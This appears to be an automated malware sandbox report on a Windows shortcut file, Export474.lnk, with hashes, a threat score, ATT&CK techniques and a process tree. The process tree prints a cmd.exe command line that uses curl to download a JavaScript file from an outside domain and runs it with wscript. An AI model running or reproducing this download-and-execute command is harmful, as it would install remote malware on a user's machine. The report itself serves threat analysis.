77fe3b85503872e252ee98f49c1491d7dfc7cb3579ff3771bd7ad59f68c0dc60

Resubmissions

08-09-2022 20:37

220908-zemtlschgp 10

08-09-2022 18:56

220908-xleqgafcf5 10

Analysis

max time kernel
1612s
max time network
1616s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
08-09-2022 20:37

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Report Analysis Logs

General

Target

Export474.lnk
Size

2KB
MD5

e3bd2b8ab3b2aa72f21d6b1aea8dd4e0
SHA1

279b748f40cc8377d63b630c756c60644e9be89e
SHA256

77fe3b85503872e252ee98f49c1491d7dfc7cb3579ff3771bd7ad59f68c0dc60
SHA512

6aea0405c1eb507611c9ee21ac0ba0b8c2a719653ee1b644e015608ee5d3dae6a706f9b328b26ff3961cd7b690a9dfe1e6f6e30405d78c11efa08711f59b55cb

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1056 wrote to memory of 1720	1056	cmd.exe	cmd.exe
PID 1056 wrote to memory of 1720	1056	cmd.exe	cmd.exe
PID 1056 wrote to memory of 1720	1056	cmd.exe	cmd.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Export474.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c echo 'HI_U' && MD "C:\Users\Admin\AppData\Local\ur\B4O" && curl.exe --output C:\Users\Admin\AppData\Local\ur\B4O\enhrP.s_1L.QH0w.js https://purepowerinc.net/nluGZ/082.html && cd "C:\Users\Admin\AppData\Local\ur\B4O" && wscript enhrP.s_1L.QH0w.js && echo "Nj"
2⤵
PID:1720

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1056-54-0x000007FEFC2F1000-0x000007FEFC2F3000-memory.dmp

Filesize
8KB

Download
memory/1720-88-0x0000000000000000-mapping.dmp

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